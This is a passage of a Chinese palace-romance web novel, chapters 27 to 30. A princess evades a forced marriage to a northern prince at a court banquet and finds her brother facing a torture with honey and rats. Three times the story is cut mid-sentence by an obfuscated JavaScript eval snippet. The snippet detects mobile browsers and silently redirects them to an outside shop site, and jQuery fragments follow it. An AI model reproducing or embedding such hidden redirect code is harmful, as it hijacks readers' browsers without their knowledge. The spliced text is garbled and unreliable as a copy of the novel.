周芮揪着腰间细带,抬眸委屈的觑着他,“青雉怕我在外受委屈,方才来看过我,你明知晓我处境艰难,还蒙住我的眼耳不让我出门,我心中自然不安,所以问的仔细了些,这才打听到后日宫宴一事。”
她说的情真意切,潋滟的双眸中含着一丝雾气。
徐淮止目光闪烁,微微侧头,脖颈间露出的红痕刹那间钻出衣领,惹眼的紧。
周芮知晓他生气的缘由,眼下察觉到他态度软了下来,便趁机问:“你脖子上是怎的了?”
“殿下以为呢?”方才消减下去的冷沉在瞬间袭上徐淮止的眼眸。
“我怎知道,我早上便问过你,你也不说……”周芮小声嘟囔着,余光瞥见站在门外的顺玉忽然走进来,一幅欲要开口的模样,她连忙道:“莫不是我昨夜醉酒后不小心咬的?”
顺玉脚步一顿。
周芮愧疚道:“对不起,我忘记我自小便有这个毛病,父皇从前便让我少饮酒,说我酒后举止怪异,我没想到会……徐淮止,我不是故意的。”
贝齿咬在嫣红饱满的唇瓣上,她似乎愧疚极了,鹌鹑似的将脑袋垂在胸前,不敢抬头。
自昨夜起便涌在心中火气似乎在一瞬间被这道细弱的声音抚平,徐淮止正欲开口,却见少女忽的抬起头来,如春日露水的眸子紧紧盯着他,玉指轻轻勾住衣领,缓慢往一侧拉去,露出线条纤细,宛若白玉湖泊一般的锁骨。
她认真道:“徐淮止,你咬回来吧。”
27. 第27章
徐淮止瞳仁轻颤,白腻的肌肤似乎刺疼了眼睛,他猛地别开头,再维持不住方才的从容冷静,“将衣裳穿好。”
周芮怔愣一瞬,低头看了一眼自个儿的衣裳,莫名道:“这不是穿的……”
忽然,她想到什么,捏着衣领的手下意识收紧。
笑意涌入眼中,周芮故意道:“你不咬回来的话,我就当你原谅我了。”
徐淮止下颌轻动,咬紧牙关的一瞬他转头看向周芮,恰好对上她眸中的期待。
徐淮止骤然冷静下来。
“殿下在期待什么?”
他对她无所不用其极的手段感到有些厌烦。
周芮以为徐淮止愿意与她好好说话了,于是诚恳又真切的道:“自然是期待你……原谅我了。”
至少在解决和亲之事前,她不能走。
屋内沉静如水,深邃沉寂的黑眸仿佛能透过皮囊,看穿她心底的一切秘密,“是吗?”
他这般询问,让周芮觉着自个儿方才的回话似乎并不让他满意。
可事实如此,他还想听什么?
窗外春风吹拂,一片嫩芽扑进屋子,摇摇晃晃坠在徐淮止先前翻看的书册上,那篇密密麻麻的字迹飘逸流畅,嫩芽轻飘落下,最终却覆在情之一字上。
徐淮止不欲再与她争辩,“出去。”
他重新坐回桌前,抬手抚去册上嫩叶,冷肃的面庞在明晃晃的告诉周芮,他心中仍有怒气。
“什么温和良善,分明气性小,脾气大,难搞又不会说话……”周芮咬牙嘟囔着。
可谁让她眼下有求于人呢。
比之先前,她觉着自个儿在徐淮止这里将脾性都练好了不少。
没人比她更能忍。
“那我可以留下了吗?”
“殿下自便。”
她在此费了这般唇舌,就是为了留下,虽然徐淮止这话听着并不让人舒心,可结果到底是一样的。
周芮眉开眼笑的转身,连背影都泛着喜悦的光芒。
徐淮止下意识抬头看了一眼,随即又不动声色的将目光落在书册上。
她远比他所想的,还要执着。
-
宫宴这日,赵家早早让下人来了徐宅替周芮梳妆打扮。
天还未亮,平素寂静的院落中便充满了欢声笑语,透过窗棂的火光映照出来回行走的身影。他们所有的忙碌都是为了坐在铜镜前,闭目养神的少女。
赵家虽为权贵,可府中伺候的下人到底不如宫人手巧心思,便是她们再小心翼翼,可为少女佩戴头饰时,仍旧不小心扯断了一根发丝。
顿时,满屋子的下人齐刷刷跪地,连声音中都透着一丝惊惧,“求殿下饶命。”
坐在铜镜前的少女迟迟没有出声,片刻后才听见她均匀的呼吸。
睡着了。
下人们面面相觑,一时之间也不知该不该起身。
院中梅树下,站在徐淮止身后的顺玉双手环胸,忍不住替那些下人抱不平,“殿下也太难伺候了,这才多一会儿,便将人吓得跪了满地。”
“大人你看,都跪这么久了,也没说让人起来。”
他伸长脖子往里瞧,那双眼睛恨不能透过缝隙,看清里边儿的情形。
“还好我不用伺候她,否则我定会找棵树撞死算了。”
他无意识的喃喃随风落入徐淮止耳畔,无声的烦闷莫名萦绕在心头。
片刻后,他抬手挥去垂在肩头的红线,转身朝着门口走去,“该入宫了。”
顺玉连忙跟上,却又下意识回头看了一眼窗棂,听见那许久不曾出声的少女道:“你们跪着做什么?”
屋内,周芮双眼迷蒙,下意识抬手揉眼时,瞧见铜镜中已施粉黛的自己,停在半空的手缓缓垂下,问道:“几时了?”
下人战战兢兢答:“回殿下,快辰时了。”
她晃了晃仍旧有些晕乎乎的脑袋,挂在发间的珠翠叮当作响,“都起来吧,继续替本宫梳妆。”
下人们对视一眼,这才缓慢起身,继续手上的活儿。
只是他们眼底,都不约而同的露出一抹震惊。
昭和公主有多难伺候,但凡宫中有相熟的宫女都听过一二,是以眼下与他们所想不同,让他们好半晌才回过神来。
从宅院出发时,周芮看着赵家准备的马车,左右瞧了一眼,并未看见徐淮止的身影,这才明白,他没有等她,早早的便走了。
这是半点关系都不想与她沾上,是以赵家来人时,他才问都不问,便答应了下来。
昨夜,周芮想了大半个晚上也没记起那虎头娃娃当初被宫人放到哪儿去了。
但有关她的东西,阿樾都会让人好好存在一处,故而想要寻到此物,只有想法子让人去瞧一瞧了。
而今日宫中宴请北朝太子,这般有序又紊乱的场合,便是最好的时机。
-
碧空如洗,不见纤凝。
红墙绿瓦内,四处游走着忙碌的宫人,从宫门到保和殿的路上,无论是朝臣还是侍卫都会频频看向被下人簇拥着的少女。
落后几步的朝臣窃窃私语,那声音太小,被风掩埋,周芮几乎听不见他们在说什么,但只要一想,也知晓不是什么好听话。
随行在侧的青雉小声道:“殿下让我询问的事情有眉目了。”
周芮脚步一顿,随即又不动声色的继续往前走,压着声音道:“外祖父怎么说的?”
“家主说,你那时与圣上微服私访时意外被人掳走,圣上大怒,砍了很多人的头,还下令此事不许声张,是以,您在被人掳走期间到底发生了什么,家主也不知晓。”
“……”
周芮对上青雉的目光,半晌无言。
这些事,她也知晓,她唯独忘记的便是发生意外后,她到底经历了什么,那段记忆于她而言十分模糊,若徐淮止当真与她相识,也只会在那段模糊的记忆中出现,否则她绝不会对徐淮止没有半分印象。
周芮颓然垂下肩头,整个人失去了鲜活般,“这下该怎么办啊……”
若徐淮止是他父皇一怒之下斩杀的其中之一,那他们之间岂不是血海深仇,她若此时自报家门,不是活腻了嘛。
可万一他们之间不是仇,而是情是恩,她便有拿捏徐淮止的东西了。
不知不觉中,他们已经行至保和殿外,再往前走,便能瞧见她的好皇兄为她安排的未来夫君,北朝太子了。
而她,此刻却毫无破解之法。
在众人目光聚集而来时,那道如鹰般锐利的目光让周芮浑身不适。
“昭和,你来晚了。”
随着周凌话音落下,那道目光愈发肆意起来,黏腻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128976|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阴湿的在她身上游走。
除最上方的龙椅外,最前头的周凌与周启相对而坐,在位置身份上,二人旗鼓相当,谁也不让一分,而北朝太子则坐在周凌身侧,与他对面的徐淮止一狂放一内敛,截然不同。
而她的位置……
周芮低头,看见大殿中仅剩的坐位,就在她身侧,靠近门边,六品之下。
呵。
周芮掩去眸中怒火,不疾不徐的继续朝着前方走去,在行至般和身侧时,他赫然一笑,右手搭在左肩上,朝她行了一个北朝迎礼。
“原来这位,便是昭和公主。”
就身份而言,他这礼实在折煞。可周芮只要一想到这二人打的什么主意,顿时半点好脸色都不曾留下,裙角轻旋,利落的转身朝着徐淮止跟前走去。
周凌呵斥,“昭和!乱走什么!”
周芮头也不回,并未理会。
大殿中只有些许咬耳朵的谈论声,在周芮走向徐淮止之时,连那丁点声音都不见了,那些人或诧异或不解,在诸多繁杂的目光中,徐淮止只是波澜不惊的看着周芮,好似无论她要做什么,他都不畏不惧,没将她放在眼中。
周芮停在徐淮止跟前,在他愈发冷沉的目光中,与他对视良久,这才嘴角微扬,转头看向了周启,“大皇兄,阿芮能坐在这边吗?”
独自酌饮的周启抬头看了她一眼,分明都是父皇的孩子,可周启因着常年在军营,肌肉饱满,身材高大,又长着一副凶神恶煞的模样,那双眼睛更是看谁都像在看死人。若不是别无他法,周芮压根不想靠近他。
“皇妹不去自己该去的地方,在本王这儿来凑什么热闹?”
“因为……大皇兄这边宽敞些,近日我受了风寒,大夫让我莫与旁人靠的太近。”
在这等场合上,宫人布位,绝不会出现宽窄不同的岔子,是以她的言下之意,便是周启比周凌,身份更高。
徐淮止将目光从周芮身上落下,面不改色的抿了一口茶。
撒谎这项本事,倒是练就的炉火纯青。
周启扬唇道:“那皇妹随意寻个地方坐着吧。”
周芮佯装没有发觉身后凌厉的目光,转头看向徐淮止,眼巴巴的道:“徐相,我能与你同坐吗?”
徐淮止捏着杯盏的掌心一紧,周遭看过来的目光也毫不掩饰。
宁王让她参加宫宴,却不曾给她留下坐位,她是大周公主,可以坐在二王之下,却不能坐在所有朝臣之下。
眼下还余剩的位置只有靠近门边的末尾处,那是六品官员坐的地方,她若过去,便是羞辱。
皇兄身侧坐不得,那般和太子更不行。
是以她要想保住脸面,唯有一个选择。
杯盏磕碰在桌上,徐淮止抬头看向周芮,那拒绝的话到了嘴角又被她眼中无声的祈求按了回去。
“昭和,莫要胡闹!”周凌蹙眉起身,语气中是浓浓的警告。
比起周启,他更忌惮徐淮止,他怕周芮将人得罪了,徐淮止届时再迁怒于他。
可他更怕,徐淮止同意。
毕竟以周芮的容色,看遍整个大周,也无人能出其右,若是借此机会让周芮攀附上徐淮止,于他而言便是心头大患。
殿内寂静无声,众人都在等着徐淮止的回应。
更或者,都在等着看周芮的笑话。
28. 第28章
无声的对视中,徐淮止迟迟没有要开口的意思。
周芮端放身前的手不安的搅动,在这奇怪的氛围中,周凌忽而道:“昭和,到皇兄这儿来。”
周芮回头,只见周凌挂上一抹温文尔雅的笑容,对她招手,“男女授受不亲,莫再为难徐相了,来,过来。”
不等她回应,一旁的赵亦翀便先一步替她解围,“王爷,按照礼制,殿下的位置应当在您身侧才是,可宫人疏忽,竟忘了留出殿下的坐位,实乃不该。”
这么大的疏忽,若不是有心人吩咐,宫人哪有胆量。殿中之人,个个人精,大家心照不宣并未因此生事,可赵亦翀却如愣头青般捅破这层窗户纸,本就怪异的气氛,眼下更是凝滞到了极点。
周凌看向赵亦翀的眼神里,闪过一丝冷意,转而又对周芮笑道:“赵大人说的极是,那些宫人敢对公主不敬,待宴会结束后,本王自会问责。可眼下已经开席,昭和,今日便只能委屈你与般和太子坐在一处了。”
周芮脸色一变。
“般和太子可否介意?”
般和爽朗大笑,几乎爬满半张脸的络腮胡随着笑声一颤一颤的,“能与昭和公主同坐,是孤的荣幸。”
周启眸色一凝,狐疑的目光在周凌身上打了个转儿,半眯着眼,危险道:“宁王这是何意?昭和是公主,怎能与外男同坐。”
周凌并不着恼,弯腰端起桌上清酒浅酌一口,仿佛就等着一个气口将他准备许久的说辞告知众人。
对他的打算心知肚明的周芮在他开口前,连忙道:“般和太子远道而来,乃是贵客,我作为大周公主,自也该尽地主之谊,招待一二才是。”
如针尖麦芒般的目光忽然灼烧着她的脊背。
她知晓自个儿这话俨然是在与黎王作对,可方才千钧一发之际,她若不开口,周凌便要道出让她和亲的事情了,她是实在没办法,比起和亲,她宁愿与那般和同坐,反正名声于她而言,算不得什么。
周凌看着她的眼神颇为满意。
周芮深吸一口气,对上般和太子明目张胆投来的殷勤目光,拢在袖中的手死死的攥着绢帕,才忍住想要痛揍那人一顿的冲动。
云履缓慢的朝前挪动一步。
看戏的目光接二连三的落到周芮身上,赵亦翀暗自着急,却又无计可施,只能眼睁睁看着那般和太子看向周芮的眼神越来越肆无忌惮,早已张开血淋淋的大嘴,等着羊入虎口。
忽然,寂静无声的大殿中响起一道低沉的嗓音,“殿下方才不是说要与本官同坐吗?”
如石子落进深不见底的湖中,一声闷响后,满场寂静,只有湖面上接连不断的涟漪彰显着他们并未听错。
周芮赫然回身看向徐淮止。
男人不知何时已经起身,贴身的官袍随着他弯腰行礼而折出几条好看的褶子,他面不改色的看向周凌,“北朝与我大周自来邦交友好,便是招待也该让身份地位乃至名声都能与太子相配的人来,下官以为,昭和公主的名声只会辱没太子身份。”
徐淮止话中的踩高捧低落到般和与周凌耳朵里虽恼却也无力反驳,此时若再执意让周芮过来,那便是自降身份。
徐淮止看向目光灼灼的周芮,从容道:“殿下,过来。”
少女一瞬间的眉开眼笑,宛如破土而出的春日嫩芽,鲜活的旺盛的生命力悄无声息的绽放在徐淮止的眼中。
宫人连忙在徐淮止身侧加了一把椅子,周芮落座后,顶着四面八方的目光,身子微微向着徐淮止倾斜,小声道:“徐淮止,谢谢你。”
随着徐淮止一声轻应,一块不大不小的牡丹屏风忽而被宫人抬至两人中间,阻隔了两人的视线。
周芮一懵,却听周启忽然笑道:“本王方才还以为徐相待昭和应当是有所不同的,没承想,女子之于徐相,仍旧是洪水猛兽,连昭和也不例外。”
周遭因徐淮止方才之举揣摩良久的朝臣们顿时松了一口气,唯有赵亦翀忧心忡忡的看着周芮的方向。
屏风一隔,方才之事便成了宫宴上的一桩小插曲,无人在意。
周芮心中郁结,支着下巴,看向倒映在屏风上,发冠高束,侧颜清隽的男子。
果真是狡猾,来泥潭中滚了一遭还能全身而退,也不知是该夸他聪明还是心机深重。
随着一声琵琶音响起,乐师舞姬鱼贯而入,整个大殿蔓延在喜乐的氛围中,推杯换盏,觥筹交错。周芮看着满桌吃食,却没有半分心思。
正对面若有似无的目光总是在饮酒时悄无声息的落到她身上,令人厌恶。
整场宫宴下来,周凌并未寻到机会提出和亲一事,随着时光流逝,周芮的心也一点点踏实下来。
宫宴进入尾声后,众人又簇拥着二王与般和太子朝着御花园行去,徒留像是被遗忘的周芮孤零零的坐在位置上。
她见徐淮止起身往外走,连忙提裙跟上,“徐相。”
徐淮止脚步一顿,周芮停在他身旁,身子略微前倾,歪头看他,“你方才瞧见般和太子看我的眼神了吗?”
“殿下想说什么。”
“他的眼神好可怕,像是要吃了我。”
徐淮止侧头看向周芮,见她满脸抗拒道:“听说北朝贫瘠,连皇室都是一些茹毛饮血的粗人,吃住更是比不过京城,若是他待会儿胆大妄为的提出一些肖想之词,徐相能不能帮帮我……”
宁王的打算便是藏得再好,也不会密不透风到完全不为人知。
只要徐淮止有心,他一定能知晓宁王打的什么主意。
可偏偏,这人对她当真毫无情意。
他说:“殿下多虑了,北朝还不曾强大到需要大周派公主过去和亲的地步。”
“如若有人想拿我当筹码,与北朝谈交易呢?”
徐淮止道:“若当真如此,这交易也不是那般好谈的,届时自会有人出面阻拦。”
“徐相说的那个人……”周芮心中隐隐激动,“是你吗?”
已经走远的队伍里,落在尾巴上的官员回头对着徐淮止招手催促,满脸着急。徐淮止临走前看了她一眼,始终不曾回应。
在他抬步离开后,周芮脸上的笑意瞬间落下,她抬手揉了揉僵硬的嘴角,并未泄气。
面对他的冷淡,周芮早就习以为常。
她就知晓,以徐淮止的性子,想要他帮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149466|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忙难如登天,所以才早早的住进他家。
那是她迫不得已之下,最后的筹码。
望着远去的众人背影,烦闷涌上心头。
按理说那样的龙潭虎穴,她该躲得越远越好,可眼下正是周凌猖狂之际,她怕自个儿不在,届时被卖了都不知晓。
周芮咬牙,只能提着裙角小跑着跟上。
走过无数次的御花园对周芮而言早已稀疏平常,便是再美的景色,也有看腻的一天。
她百无聊赖的跟在众人身后,透过人群中的缝隙,勉强能看清她那站在最前头的两位皇兄,正陪着般和太子谈天论地。
而落后几人半步的徐淮止也并未被冷落,无论是周凌还是周启,都在悄无声息的想要与他拉近距离。
就在这时,一宫婢忽然从草丛中跌跌撞撞的跑出来,猛地撞在周芮身上。
她险些站不稳摔倒时,怒意横生,“你……”
话音未落,抬眸便看见了碧色泪水连连的脸蛋,怔愣道:“碧色?”
“殿下,求您救救太子。”碧色双膝跪地,双眼哭的红肿,“奴婢求您救救太子殿下。”
“你说阿樾怎么了?”
-
半刻钟后,太监迈着细碎的步子走到周凌身侧,低声说了句话后,周凌朝他挥手,转头对着诸臣温和一笑,“此处风景甚好,不若摆上游宴,消遣一番?”
众臣附和之余,周凌看向般和,“听闻般和太子骑射了得,恰好本王的皇兄自小便长在军营,骑射也是我大周出了名的勇猛,十丈外便有一处马场,不知般和太子可愿与本王的皇兄比试一番?”
周启冷笑一声,对周凌擅自做主的行为十分不满,可眼下并不好当众拒绝,只能含怒忍下。
般和并未推辞,只是他与周启眼下穿戴并不适宜比试,故而在周启的安排下,二人暂去偏殿换身衣裳。
其余朝臣或是几人一处闲谈,或是赏花看景,各有事做。
唯独徐淮止与周凌二人站在角亭中,安静等待。
徐淮止的目光不动声色的扫过众人,放眼望去,却始终不见周芮身影,他下意识的蹙起眉头,沉思之时,却被身侧的周凌打断,“感觉徐相今日似乎与以往有些不同。”
“王爷多虑了。”
“是吗?”与徐淮止背对而站的周凌微微一笑,抬头看向远处绿衣盎然的景色时,眸中却无一丝笑意,“本王记得徐相从前对昭和向来没有好脸色,便是提及她的名字,都会让徐相不快,怎的今日……”
他侧头看向徐淮止,“她一向你求助,你便帮她。”
“是徐相看她可怜,还是也与那些世俗人一样,被她的皮囊所惑,舍不得她受半点委屈?”
徐淮止无声的对上周凌探究的目光,始终从容,“本官以为,在宴上说的已经十分明了,若是王爷没听明白,本官可以重新解释一遍。”
那些说辞并无错处,宴上如此多人,无一人起疑。
可偏偏被他看见了不同寻常之处。
就在他提及要周芮与般和太子同坐一处时,徐淮止下意识抬眸看向周芮的灼灼目光,俨然没有他后来所说的那般清白。
29. 第29章
从御花园去往东宫的路上,走在最前头的少女提着裙角健步如飞,途中险些摔倒时,又连忙扶着树堪堪站稳。
“殿下,您没事吧?”
碧色满脸担忧,意图上前将人扶住,却被周芮抬手阻断。
“无碍。”她神情凝重,思绪紊乱,抬步继续朝着远处那扇宏伟冷清的东宫大门走去。
春风吹拂,花香四溢,只要穿过假山后的水榭楼阁,就能抵达东宫门外。
可她刚上回廊台阶,便瞧见回廊尽头的拐角处迎来一身材高大的男子。
他身上的骑装并不合身,衣裳里的肌肉似乎随时都能将布料撑破,而他身后的两名瘦弱的太监几乎被他挡住了大半,尽管如此,却仍旧能看出太监正小心翼翼的佝偻着脊背随行,迈着的步子都比往日快了许多。
怎的会在这儿遇见他呢!
随着距离越发相近,般和忽然停住脚步,眼中泛起的精光,肆无忌惮的落在周芮身上,“殿下这是要去哪儿?”
周芮不得不停下,回应道:“有些闷,四处走走。”
话音刚落,一股猛烈的男子气息忽然向她逼近,周芮连忙后退一步,眸中怒意丛生。
可她眼下这幅眉眼紧蹙的模样落在般和眼里,就像是贫瘠山脉中破土而出的杜鹃花,耀眼又鲜活的紧。
络腮胡随着他牵起的嘴角而颤动,“殿下害羞的样子,真漂亮,若是能将你带回北朝,孤一定会夜夜宠幸你的。”
他眼中毫不掩饰的痴迷与占有令人恶心,周芮愠怒道:“般和太子痴人说梦的样子,真难看,若是本宫当真跟着你回了北朝,定会叫你鸡犬不宁!”
般和并未着恼,反而大笑道:“哈哈哈,好一张伶牙俐齿的嘴。”
待他笑够了,忽而低头靠近周芮,呼出的灼热气息喷洒在周芮脸上,眼中的邪佞之气呼之欲出,“那孤便,拭目以待了。”
爽朗的大笑随着般和远去的身影而渐渐消散,他好似笃定会将她带去那鸟不拉屎的地方,这莫名的自信绝不是空穴来风,让周芮心中逐渐不安起来。
待人走远后,她收回目光,连忙朝着东宫而去。
比起未来会发生之事,眼下阿樾才更紧要。
周芮熟悉的穿过几条小道,提着裙角奔跑在红墙绿瓦之中,不知穿过几道宫门,忽然传来一阵欢声笑语:
“太子殿下,这可是御膳房用花蜜熬制的糖浆,可甜了,您尝尝?”
“没瞧见殿下衣裳脏了吗?来,殿下,让奴才先帮您沐浴更衣。”
“太子殿下……”
放缓的脚步停在一株海棠花前,周芮看着坐靠在井边瑟瑟发抖的少年,他脸色苍白,害怕的捂着耳朵,可围在他跟前的几个小太监仿若未闻,仍在一个劲的劝说。
少年几乎将脑袋埋进了胸前,整个人蜷缩成一团,喉咙中发出断断续续的呜咽声。离他最近的太监端着一碗蜜浆,盛满浆液的勺子不顾少年的挣扎,狠狠的抵在他的嘴边,“殿下听话,这可是琼浆玉露,您尝一口。”
“放肆!”
随着话音落下,太监便被人从身侧猛地推开,一个踉跄没站稳,摔倒在地时,浆液糊了满身。
众人面对这突如其来的变故安静了一瞬,待看清挡在周樾跟前,满眼怒火的少女后,比这些小太监稍显年迈的屈公公走了出来,“奴才见过公主殿下。”
“你们知不知道自己在做什么!阿樾是大周太子,你们以下犯上,目无尊卑,该当何罪!”
屈公公抬手示意几人退至一旁,笑容满面的对上怒气冲冲的周芮,“公主误会了,奴才们见太子殿下近日胃口不好,便带了些蜜浆来让殿下尝尝,何来以下犯上的说法呢。”
“你们没瞧见他不愿意吗?况且谁知晓你那东西里放了什么,若真是蜜浆,阿樾怎会这般抗拒!”如护犊子般将周樾护在身后的周芮,满眼警惕的盯着屈公公。
屈公公一脸为难,“这……奴才们也是听命行事啊。”
“听谁的命?”
屈公公朝着周芮走了一步,笑道:“公主还是把太子还给奴才们吧,要是完不成主子交予的任务,奴才们也不好交差啊。”
“周启,还是周凌。”
屈公公俨然没有要说的意思,只劝道:“殿下何苦呢,便是知晓了,您又能如何?人为刀俎我为鱼肉的时候,安分听话才能活得长久。”
他的话不无道理,可无论是周启还是周凌,都不可能好心到因为阿樾胃口不好,而专门让御膳房做些蜜浆来给他吃,这里头显然有猫腻。
“哎……”
屈公公叹息一声,回头对着几个小太监使了个眼色,方才还安静站在一侧的人顿时朝着周芮走来,不管不顾的将他身后的周樾带走。
“你们要干什么,放开他!”
太监掰开周芮用力到泛白的手,由着她摔在地上,将周樾带至了一旁。
周芮眼眶通红的看向吩咐着太监们做事的屈公公,想起他背后的主子,便恨不得啖其肉,食其骨。
就在这时,一小太监提着一个半人高的笼子走了过来,那笼子上蒙着一块黑布,尽管什么都看不见,可笼中传来的声响却叫周芮有了一丝不好的预感。
“打开吧。”
随着屈公公声音落下,太监将黑布掀开,瞧见笼中全貌的周芮胃中翻涌,眼里弥漫着吞咽呕欲后的水光。
吱吱的叫声不断地从笼子里传来,那密密麻麻几乎缠绕在一起的老鼠压根数不清到底有多少只。一些残肢断臂顺着笼子的缝隙掉出来,它们像是被饿了许久,饿到只能同类相残。
电光火石间,周芮忽然想明白了什么。
她猛地转头看向被太监按住的周樾,蜜浆顺着他的头顶流下,有的落到墨发中,将发丝黏成一团,有的顺着脖颈落进皮肉里,不过片刻,周樾便被做成了一个蜜罐,散发出阵阵甜香,引诱着笼中的老鼠。
那浆液里不知掺杂了什么,笼子里的东西越发不安分,无数双眼睛似乎直勾勾的盯着即将落入它们口中的美味佳肴。
周芮眼底的惊惧如有实质,在脑中一片空白之余,碧色已经痛哭流涕的跪在屈公公跟前,正拉着他的衣袍苦苦求饶着。
无数嘈杂的声音渐渐消散,周芮耳边只剩下一阵嗡鸣。
直到碧色被屈公公一脚踢开,连滚带爬的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173027|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来到她跟前时,周遭的声音才渐渐回拢。
“殿下,求您救救太子,求求您了……”
周芮记得从前在史书上看见过这样的刑罚,将人的身子涂满蜂蜜后,再将其关到密不透风的屋子里,仍由鼠蚁啃食。若再残忍些的,则会将人装进一个大背篓中,再将老鼠放进去,在恐惧与痛苦中彻底绝望。
“殿下,殿下您救救太子啊殿下……”
这样残忍刁钻的刑罚,只有周凌那样的衣冠禽兽想得出来。
她就说为何东宫分明不让出入,碧色却能出现在御花园,且看她焦急的模样,仿佛早就知晓她在何处。
平素那些奴才只敢对周樾打骂,可今日却偏偏要在她跟前走这一遭。
周芮看向一脸胆怯,不曾反抗,任何太监在身上作为的少年,忽然笑了出来,“屈公公,去向你的主子交差吧。”
屈公公回头看向周芮,“殿下这是何意?奴才不明白。”
周芮撑地,艰难起身,“放了太子,本宫会让他如愿的。”
浑身被浇灌浆液的周樾忽然被太监们架着走向一旁的屋子,周芮目光紧紧跟随,忍不住扬起声音,“屈公公!”
屈公公抬手,拿着笼子往屋里走去的太监忽然停下。
“殿下只有半个时辰的时间,若半个时辰后,奴才没有收到主子的命令,那太子殿下……”
周芮咬牙,抬手抹去眼尾的泪光,“本宫知道了。”
她一刻不敢耽误的朝着御花园跑去,碧色怔愣的看着她的背影,忽然间似乎也明白了什么。
御花园内,宫女正战战兢兢的跪在面若寒霜的周凌跟前,“王爷,是奴婢没有看好公主,是奴婢该死。”
“一个小小的婢子哪里能左右主子要去什么地方,与她置气,没有必要。”般和劝道:“孤方才回来的路上遇着过公主,她说有些闷,想四处走走,想来应该也快回来了。”
“哦?般和太子遇到过昭和?”
一时之间,所有的目光都聚集在两人身上,连徐淮止也不例外。
他爽朗一笑,“公主天生丽质,性子又与寻常女子不同,孤绝不会认错人。”
周凌挑眉道:“听般和太子所言,倒是对本王这个妹妹,颇为另眼相待?”
般和不置可否,“孤在北朝还不曾见过公主这样真性情的姑娘,就像是阿郎山最坚韧杜鹃花,值得孤另眼相待。”
“般和太子谬赞了,本王这个妹妹或许并非你所想的那般,更不能与北朝的信仰相比。”
般和抬手阻拦道:“宁王,孤喜欢她,她便当得起。”
一石激起千层浪,还不等众人反应过来,般和又道:“若是能将这珠杜鹃花带回北朝,孤愿将流传已久的玉山堪舆图双手奉上。”
众臣顿时倒吸一口凉气,小声谈论道:“玉山地势险峻,自古便流传其暗藏无数黑金,先前陛下也拍过诸多人前去打探,可都一无所获,若是能得到堪舆图……”
他们眼底都不由自主的露出阵阵惊喜。
周凌将众人的反应尽收眼底,随后将目光落到始终沉默不语的徐淮止身上,“徐相觉得这门婚事如何?”
30. 第30章
“婚事?”徐淮止面露不解。
“徐相方才没听着吗?”同样穿着骑装的男人,低头掐断一片嫩叶,缓慢的将指尖的汁水擦到身旁的太监身上,冷笑道:“咱们这位宁王,想送昭和去和亲。”
“皇兄这话便说错了。”周凌温声道:“和亲与嫁娶不同,郎有情妾有意,乃是一桩美谈,既是美谈,便无关身份国度,更提不上送这个字。”
周启鼓掌,缓步朝着角亭走去,“宁王还是一如既往的能说会道。”
直到靠近几人,确定没有旁人听见后,周启才冷凝道:“周凌,别以为本王不知道你打的什么主意。”
在周凌难看的神色中,周启又看向一旁的般和,“本王劝太子擦亮眼睛,莫被有心人利用了才是。”
“皇兄与其挂心太子,不如先多担心一下京城的治安。”周凌露出一丝笑容,笑意却不达眼底,“近日本王的人在京城外的山上抓到许多土匪,人现在就关押在地牢中,你说那些人到底凭何这般大胆,敢在天子脚下逞凶?”
“你!”周启目露狠意,还不等他说话,周凌便笑道:“各退一步,总比鱼死网破来得好,皇兄,你觉着呢?”
周启险些咬碎后槽牙才将戾气狠狠压下,目光在周凌与般和之间流连片刻后,又将此事引到了徐淮止头上,“昭和毕竟是我大周公主,便是嫁人也得遵循祖制,徐相,本王说的可对?”
一时之间所有的目光都汇聚在这位权臣身上,般和细细的打量了他一番,立如松竹,风光霁月,乃是大周最追捧的男子模样。
徐淮止淡然开口,“本官不曾听过圣上赐婚,又何来嫁人一说。”
周凌与周启神情双双变幻,不过瞬间,便已然在心里拐上了八九个弯。
“父皇卧病在床,早已不理朝政,兄长如父,若这婚事定下来,本王自会为昭和赐婚。”
周凌温和的解释,迎来的却是徐淮止略有深意的目光,“赐的是殿下与谁的婚?”
“徐大人。”般和低头把玩着腰间佩戴的菩提珠,徐淮止闻声侧头看他。
“孤是真心想要迎娶昭和公主的,大人能坐到丞相的位置,想必不是什么蠢人,也不会听不懂人话,绕来绕去的干什么?”
周凌略微抬眼看向别处,心中却企盼着般和能搓搓徐淮止的锐气,让他晓得这天下到底是谁在做主。
“本官只是困惑,一幅小小的堪舆图,凭何迎娶我大周公主?”
“你说什么?”般和不敢置信自个儿方才听到了什么,“小小?”
莫说是他,就连在外边儿竖起耳朵的朝臣们,也满心哗然。那玉山堪舆图虽说算不得什么绝世珍宝,可也算得上金山一座,绝不止于小小二字。
